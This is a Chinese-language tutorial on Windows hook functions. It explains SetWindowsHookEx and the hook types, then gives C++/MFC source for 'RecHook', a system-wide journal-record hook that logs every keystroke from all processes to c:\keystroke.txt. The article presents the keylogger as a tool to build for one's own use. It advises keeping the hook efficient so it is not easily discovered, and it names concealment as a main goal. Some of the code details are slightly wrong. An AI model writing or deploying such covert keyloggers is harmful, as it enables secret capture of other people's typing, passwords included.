配色: 字号:
打造属于自己的独特钩子函数
2016-08-28 | 阅:  转:  |  分享 
  


钩子,多么熟悉的名字!几乎所有的键盘监控程序都使用钩子机制来捕获系统的击键信息。大家知道,在DOS操作系统下,如果要截获某种系统功能,可以在编程中采取截获中断的办法,比如要获取击键信息,可以使用9号中断调用,要获取应用程序对文件操作功能的调用可以截获21号中断。DOS下截获中断的方法是这样的随意和方便,不论是驱动程序还是应用程序都可以操作,这样就给一些恶意程序留下了可乘之机,对系统的安全造成了极大的隐患。而在Windows2000下就不同了,Windows2000采用了保护模式,在保护模式下的中断描述符表是受系统保护的,应用程序是不可能再通过修改中断向量来截获系统中断了。这在提供了更高安全性的同时,实际上对应用程序在调用底层功能方面造成了很大的不便。不过,Windows采取了一些变通的方法,将一些系统的底层调用封装在了自己的API函数中,通过向用户提供接口使用户可以受限的使用一些系统调用。



TIPS:钩子是Windows的消息处理机制中提供的一个监视点,应用程序可以在这里安装一个过滤程序,这样就可以在系统中的消息流到达目的程序前监控它们。也就是说,钩子可以用来截获系统中的消息流。



钩子简介

钩子没有系统的中断功能那么强大,并不能够随心所欲的截获系统的底层功能。可见,钩子是Windows消息机制中设置的一个监视点,应用程序可以在这里安装一个监视函数,这样就可以捕捉自己进程或者其它进程发生的事件。我们通过调用API函数SetWindowsHookEx函数就可以做到。SetWindowsHookEx函数定义了监视函数的位置、监视消息的类型、钩子的作用范围。每当出现钩子感兴趣的消息时,Windows就会将消息发送给监视函数。其中,监视函数由用户自己定义,是处理消息的回调函数。

根据钩子处理消息的作用范围不同,Windows所提供给我们的钩子可以分为两种类型:一是局部钩子,二是远程钩子。

局部钩子仅能够监控属于自身的事件,而远程钩子不仅可以监控自己进程中的事件,还可以用来钩挂其它进程中发生的事件。另外,远程钩子也有两种类型:其一是基于线程的,其二是基于系统的。基于线程的远程钩子是为了捕捉其它进程中某一特定线程的事件而设计的,而系统范围的远程钩子将捕捉系统中所有进程中发生的事件消息。

钩子一旦安装在系统中,会影响系统的性能,因为系统发出的这些被钩子监控的事件,都要经过钩子函数的处理,特别是对于系统范围的全局钩子。所以,钩子函数中的代码要尽量的节俭和高效,因为如果处理代码过多或者不够高效的话,系统的运行速度会受到明显的影响,这样就很容易被发现,所以对于系统范围的全局钩子一定要谨慎使用,而且,一旦钩子不用就要立即卸载掉。



钩子必备函数

要安装钩子,首先要使用SetWindowsHookEx函数,这个函数的原型如下:

HHOOKSetWindowsHookEx(

intidHook,//要安装的钩子的类型

HOOKPROClpfn,//钩子函数的入口地址

HINSTANCEhMod,//调用钩子函数的应用程序的实例句柄

DWORDdwThreadId//要在其上安装钩子的线程的ID

);

idHook参数指定钩子的类型,钩子的类型如下表所示:

WH_CALLWNDPROC每当调用SendMessage函数时,函数将消息发送给目标窗口过程前首先调用钩子函数

WH_CALLWNDPROCRET每当调用SendMessage函数时,函数将消息发送给目标窗口过程后再调用钩子函数

WH_GETMESSAGE每当调用GetMessage或PeekMessage函数时,函数从程序的消息队列中获取一个消息后调用该钩子函数

WH_KEYBOARD每当调用GetMessage或PeekMessage函数时,如果从消息队列中得到的是WM_KEYUP或WM_KEYDOWN消息,则调用钩子函数

WH_MOUSE每当调用GetMessage或PeekMessage函数时,如果从消息队列中得到的是鼠标消息,则调用钩子函数

WH_HARDWARE每当调用GetMessage或PeekMessage函数时,如果从消息队列中得到的是非鼠标和键盘消息,则调用钩子函数

WH_MSGFILTER当用户对对话框、菜单和滚动条有所操作时,系统在发送对应的消息之前调用钩子函数,这种钩子只能是局部的

WH_SYSMSGFILTER同上,不过是系统范围的

WH_SHELL当Windowsshell程序准备接收一些通知事件前调用钩子函数,如shell被激活

WH_DEBUG用来给其它钩子函数除错

WH_CBT当基于计算机的训练事件发生时调用钩子函数

WH_JOURNALRECORD日志记录钩子,用来记录发送给系统消息队列的所有消息,只能用作全局钩子

WH_JOURNALPLAYBACK日志回放钩子,用来回放日志记录钩子记录的事件,只能用作全局钩子

WH_FOREGROUNDIDLE系统空闲钩子,当系统空闲的时候调用钩子函数,这样就可以在这里安排一些优先级很低的任务

Lpfn参数用来传入钩子函数的入口地址。

hInstance参数用来指定钩子回调函数所在DLL的实例句柄。如果安装的是局部钩子的话,由于局部钩子的回调函数不需要放在动态链接库中,这时这个参数就使用NULL。

DwThreadID是安装钩子后想监控的线程的ID号。这个参数可以决定钩子是局部的还是系统范围的。如果参数指定的是自己进程中的某个线程的ID号,那么该钩子是一个局部钩子。如果指定的线程ID是另一个进程中某个线程的ID号,那么这个钩子就是一个局部的远程钩子。如果想要安装系统范围的全局钩子的话,可以将这个参数指定为NULL,这样钩子就会被解释成系统范围的,可以用来监控所有的进程及它们的线程。

返回值:如果钩子安装成功,函数返回钩子句柄,否则返回NULL。需要指出的是,钩子句柄必须保存下来,因为在回调函数和卸载钩子的时候还要用到这个句柄。

卸载钩子使用函数UnhookWindowsHookEx,这个函数的原型如下:

BOOLUnhookWindowsHookEx(

HHOOKhhk//要卸载的钩子句柄

);

这个函数的参数只有一个,很简单,我就不多说了。



钩子编写思路

下面,我们结合WH_JOURNALRECORD类型的钩子,来对键盘记录进行示例介绍。

首先,在WH_JOURNALRECORD类型的钩子中,使用了这样一个钩子回调函数:

LRESULTCALLBACKJournalRecordProc(

intcode,//hookcode

WPARAMwParam,//undefined

LPARAMlParam//addressofmessagebeingprocessed

);

各种类型的钩子的回调函数的参数都是这样三个,但是它们的定义各不相同,就像窗口过程在收到各种不同消息的时候,wParam和lParam的定义也各不相同。不同类型钩子的回调函数的返回值定义也是各不相同的。

对于日志记录钩子来说,参数的定义如下。

Code——指定如何处理消息。如果是HC_ACTION,表示lParam参数指向了一个EVENTMSG结构,这个结构中包含着一个从系统消息队列中移除的消息。同时,钩子的处理过程必须通过将这些记录的信息拷贝到缓冲区或者文件中,来记录EVENTMSG结构体的内容。如果是HC_SYSMODALOFF,表示一个系统模式对话框已经被销毁,钩子过程必须继续记录。如果是HC_SYSMODALON,表示一个系统模式对话框正在被显示出来。直到对话框被销毁掉,钩子的处理过程才会停止记录。

wParam——这个参数目前没有用到,为NULL。

lParam——这个参数指向一个EVENTMSG类型的结构体。

显然,我们对EVENTMSG结构体还是非常陌生,下面来看看这个结构体的定义。

typedefstructtagEVENTMSG{//em

UINTmessage;

UINTparamL;

UINTparamH;

DWORDtime;

HWNDhwnd;

}EVENTMSG;

message——指定捕获的消息。如果是针对键盘捕获,那么这个消息就是WM_KEYUP和WM_KEYDOWN消息。另外,这个参数还有可能传递系统的击键信息,如WM_SYSKEYUP、WM_SYSKEYDOWN、WM_SYSCHAR等消息。不过,我们这里既然是为了捕获键盘的字符信息,只要关心WM_KEYUP和WM_KEYDOWN就可以了。

ParamL——这个要看具体的消息来定。像我们要捕获的键盘信息,那么这个参数中将存放按键的虚拟码。

ParamH——这个要看具体的消息来定。像我们要捕获的键盘消息,那么这个参数中存放了按键的重复次数、扫描码和标志等数据,不同数据位的定义如下:

?位0-15:按键的重复次数。

?位16-24:按键的扫描码。

?位24:按键是否是扩展键(F1与F2等Fx键,小键盘数字键等),如果此位是1表示按键是扩展键。

?位25-28:未定义。

?位29:如果Alt键在按下状态,此位置1,否则置0。

?位30:按键的原先状态,消息发送前按键原来是按下的,此为被设置为1,否则置0。

?位31:按键的当前动作,如果是按键按下,那么此位被设置为0;按键释放的话被设置为1。

对于每个击键动作,钩子回调函数会在按键按下和释放的时候被调用两次,只需要根据lParam的位31中的标志来记录一次,否则得到的是重复信息。

另外,回调函数收到的参数是以按键的扫描码和虚拟码表示的,在送给主窗口之前需要将它转换成我们需要的ASCII码。在Windows中提供了一个API函数,专门用来完成这个转换,这个函数叫ToAscii,其定义如下:

intToAscii(

UINTuVirtKey,//virtual-keycode

UINTuScanCode,//scancode

PBYTElpKeyState,//key-statearray

LPWORDlpChar,//bufferfortranslatedkey

UINTuFlags//active-menuflag

);

各个参数的意义如下:

?uVirtKey——这个参数要传入按键的虚拟码,在使用时直接用钩子回调函数的EVENTMSG中的paramL参数就可以了。

?uScanCode——指定按键的扫描码,并用位15来表示按键按下还是释放,和回调函数的EVENTMSG的paramH参数对比可以看出,paramH参数的高16位就是需要的东西,所以我们可以将paramH右移16位后用作uScanCode参数。

?lpKeyState——指向一个256字节的缓冲区,其中存放键盘中所有按键的当前状态,一个字节表示一个按键,数值为1表示按下,为0表示释放,数据在缓冲区中的排列顺序按照VK_xx虚拟码的顺序排列。这是为了让函数得知键盘上各种控制键的状态(如shift,alt和ctrl),因为这些键是否被按下对转换出来的ASCII码有着至关重要的影响。这个缓冲区的填写,肯定不可能用手工进行,好在windows为我们提供了一个API函数GetKeyboardState,通过调用这个函数,并在参数中指定缓冲区的地址,我们就可以得到当前按键的所有状态。

?lpBuffer——用来指向一个缓冲区,以便接收转换后的ASCII码。

?uFlags——表示当前是否有一个菜单在激活状态,0表示没有,1表示有菜单正在激活。

函数返回转换后在lpBuffer中的字符的数量,可能是0(如按键放开时不产生字符)、1或者2。

GetKeyboardState函数的原型如下:

BOOLGetKeyboardState(

PBYTElpKeyState//pointertoarraytoreceivestatusdata

);

对于shift控制键来说,GetKeyboardState函数返回的状态是区分左右键的(分别对应VK_LSHIFT和VK_RSHIFT),而ToAscii函数检测的是VK_SHIFT,不区分左右的,所以,当按下shift键的时候可能不会影响到VK_SHIFT的值,所以我们必须使用GetKeyState函数对VK_SHIFT的状态进行处理。

另外,对于日志记录钩子回调函数的返回值,在微软的文档中没有做定义,可以忽略。



打造自己的钩子

下面,我们来看一下程序,这个程序在附书光盘的源代码中,名字叫RecHook。首先,我们要先定义几个变量:

HHOOKhHook;//钩子的句柄

intiCount=0;//循环计数值

CFileKeyStrokeFile;//记录键盘击键信息的文件

CStringstrInput;//缓冲键盘输入的字符串

其次,我们要在stdafx.h文件中定义一个钩子处理函数:

long__stdcallHookProc(intdwCode,WPARAMwParam,LPARAMlParam);

接下来,我们添加一个程序的开始函数,名字叫OnStart,在其中做打开文件,设置钩子的操作。

voidCRecHookDlg::OnStart()

{

KeyStrokeFile.Open("c:\\keystroke.txt",

CFile::modeCreate|

CFile::modeNoTruncate|

CFile::modeWrite|

CFile::shareDenyNone

);

//安装钩子

hHook=SetWindowsHookEx(WH_JOURNALRECORD,HookProc,AfxGetApp()->m_hInstance,NULL);

}

我们写钩子处理函数,如下所示:

//钩子处理函数

long__stdcallHookProc(intdwCode,WPARAMwParam,LPARAMlParam)

{

EVENTMSGpEventMsg;//定义一个消息结构变量

pEventMsg=(EVENTMSG)lParam;//将lParam赋给消息结构变量

BYTEtmp[1];//存放通过ToAscii()得到的击键值的低8位

if(strInput.GetLength()==2000)//如果字符数达到了2000,就写文件

{

KeyStrokeFile.SeekToEnd();

KeyStrokeFile.Write(strInput,strInput.GetLength());

strInput.Empty();//文件写完之后,将字符串清空,以备下次使用

}

if((dwCode==HC_ACTION))

{

switch(pEventMsg->message)

{

caseWM_KEYDOWN://对按键消息进行处理

BYTEbKeyState[256];//用来存放键盘状态的缓冲区

unsignedshortuAscii[4];//ToAscii()函数中要用到的缓冲区

UINTuScanCode;//键盘扫描码

intiRet;//函数返回值

GetKeyboardState(bKeyState);//得到键盘状态

bKeyState[VK_SHIFT]=GetKeyState(VK_SHIFT);//对shift键进行处理

uScanCode=(pEventMsg->paramH>>16);//得到键盘扫描码

//转换为ASCII码

iRet=ToAscii(pEventMsg->paramL,uScanCode,bKeyState,uAscii,0);

//对返回值进行判断

switch(iRet)

{

case0://为0就直接break

returniRet;

break;

case1://为1说明有ASCII字符的击键

tmp[0]=uAscii[0];

if(tmp[0]==0x08)//如果是backspace,则要回退一个字符

strInput=strInput.Left(strInput.GetLength()-1);

else

strInput+=tmp[0];

break;

default:

break;

}

default:

break;

}

}

//进行下一个钩子调用

returnCallNextHookEx(hHook,dwCode,wParam,lParam);

}

最后,在退出程序的函数中,我们必须将没有写到文件中的字符写入文件,另外,还要将安装上的钩子卸载掉。

voidCRecHookDlg::OnCancel()

{

//如果字符串中的字符数小于2000,说明最后的输入没有写入文件。显然,这里需要做的工作是将最后一次在缓冲区存放的字符写入文件中

if(strInput.GetLength()<=2000)

{

KeyStrokeFile.SeekToEnd();

KeyStrokeFile.Write(strInput,strInput.GetLength());

}

//卸载钩子

UnhookWindowsHookEx(hHook);

//关闭文件

KeyStrokeFile.Close();

CDialog::OnCancel();

}





好了,一个完整的钩子就这样完成了,大家可以根据自己的不同需要写出适合自己使用需要的钩子函数,但是一定要注意隐蔽性、通用性、稳定性这三个大的前提,保证了这些条件,相信写出来的东西就非常不错了。





献花(0)
+1
(本文系疏帘邀月首藏)